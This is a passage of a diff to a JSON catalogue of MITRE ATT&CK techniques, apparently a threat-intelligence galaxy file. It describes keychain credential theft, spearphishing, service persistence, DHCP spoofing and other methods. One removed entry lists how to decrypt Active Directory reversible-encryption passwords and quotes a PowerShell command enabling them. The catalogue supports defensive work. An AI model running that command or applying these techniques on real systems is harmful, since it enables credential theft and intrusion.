can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", + "description": "An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", "meta": { "external_id": "T1555.002", "kill_chain": [ @@ -20601,7 +18456,7 @@ "value": "Indicator Blocking - T1562.006" }, { - "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). \n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)", + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "meta": { "external_id": "CAPEC-163", "kill_chain": [ @@ -20625,8 +18480,7 @@ "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "https://capec.mitre.org/data/definitions/163.html", "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", - "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", - "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/" + "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" ] }, "related": [ @@ -20694,21 +18548,17 @@ "value": "Service Execution - T1569.002" }, { - "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "meta": { "external_id": "T1589.002", "kill_chain": [ "mitre-attack:reconnaissance" ], - "mitre_data_sources": [ - "Network Traffic: Network Traffic Content" - ], "mitre_platforms": [ "PRE" ], "refs": [ "https://attack.mitre.org/techniques/T1589/002", - "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/", "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", "https://www.hackers-arise.com/email-scraping-and-maltego" ] @@ -20755,7 +18605,7 @@ "value": "Spearphishing Attachment - T1598.002" }, { - "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).", + "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ", "meta": { "external_id": "CAPEC-551", "kill_chain": [ @@ -20764,7 +18614,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Driver: Driver Load", "Process: OS API Execution", "Process: Process Creation", "Service: Service Creation", @@ -20783,11 +18632,7 @@ "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection", "https://technet.microsoft.com/en-us/library/cc772408.aspx", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", - "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", - "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, "related": [ @@ -20799,31 +18644,6 @@ "uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "value": "Windows Service - T1543.003" }, - { - "description": "Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Contact List](https://attack.mitre.org/techniques/T1636/003) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "iOS", - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/003", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "value": "Contact List - T1636.003" - }, { "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", "meta": { @@ -20880,8 +18700,7 @@ ], "mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1564/003", @@ -20899,7 +18718,7 @@ "value": "Hidden Window - T1564.003" }, { - "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)", + "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", "meta": { "external_id": "T1547.003", "kill_chain": [ @@ -20933,126 +18752,6 @@ "uuid": "61afc315-860c-4364-825d-0d62b2e91edc", "value": "Time Providers - T1547.003" }, - { - "description": "Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages. \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [SMS Messages](https://attack.mitre.org/techniques/T1636/004) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/004", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "value": "SMS Messages - T1636.004" - }, - { - "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. ", - "meta": { - "external_id": "T1557.003", - "kill_chain": [ - "mitre-attack:credential-access", - "mitre-attack:collection" - ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Flow" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1557/003", - "https://datatracker.ietf.org/doc/html/rfc2131", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)", - "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/", - "https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/", - "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2" - ] - }, - "related": [ - { - "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", - "type": "subtechnique-of" - } - ], - "uuid": "59ff91cd-1430-4075-8563-e6f15f4f9ff5", - "value": "DHCP Spoofing - T1557.003" - }, - { - "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", - "meta": { - "external_id": "T1559.003", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Process: Process Access" - ], - "mitre_platforms": [ - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1559/003", - "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1", - "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html", - "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/", - "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html" - ] - }, - "related": [ - { - "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", - "type": "subtechnique-of" - } - ], - "uuid": "8252f135-ed26-4ce1-ae61-f26e94429a19", - "value": "XPC Services - T1559.003" - }, - { - "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage Object](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ", - "meta": { - "external_id": "T1595.003", - "kill_chain": [ - "mitre-attack:reconnaissance" - ], - "mitre_data_sources": [ - "Network Traffic: Network Traffic Content" - ], - "mitre_platforms": [ - "PRE" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1595/003", - "https://github.com/clarketm/s3recon", - "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/", - "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf" - ] - }, - "related": [ - { - "dest-uuid": "67073dde-d720-45ae-83da-b12d5e73ca3b", - "type": "subtechnique-of" - } - ], - "uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "value": "Wordlist Scanning - T1595.003" - }, { "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", "meta": { @@ -21188,7 +18887,7 @@ "value": "Employee Names - T1589.003" }, { - "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "meta": { "external_id": "T1598.003", "kill_chain": [ @@ -21259,7 +18958,7 @@ "value": "Dylib Hijacking - T1574.004" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)", + "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)", "meta": { "external_id": "T1546.006", "kill_chain": [ @@ -21401,7 +19100,6 @@ "mitre_data_sources": [ "Command: Command Execution", "Module: Module Load", - "Process: OS API Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification" ], @@ -21459,7 +19157,7 @@ "value": "Resource Forking - T1564.009" }, { - "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", + "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", "meta": { "external_id": "T1547.008", "kill_chain": [ @@ -21576,8 +19274,8 @@ "https://attack.mitre.org/techniques/T1555/005", "https://github.com/GhostPack/KeeThief", "https://nvd.nist.gov/vuln/detail/CVE-2019-3610", + "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf", "https://www.ise.io/casestudies/password-manager-hacking/" ] }, @@ -21590,41 +19288,6 @@ "uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21", "value": "Password Managers - T1555.005" }, - { - "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.", - "meta": { - "external_id": "T1556.005", - "kill_chain": [ - "mitre-attack:credential-access", - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Active Directory: Active Directory Object Modification", - "Command: Command Execution", - "Script: Script Execution", - "User Account: User Account Metadata" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html", - "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html", - "https://adsecurity.org/?p=2053", - "https://attack.mitre.org/techniques/T1556/005", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption" - ] - }, - "related": [ - { - "dest-uuid": 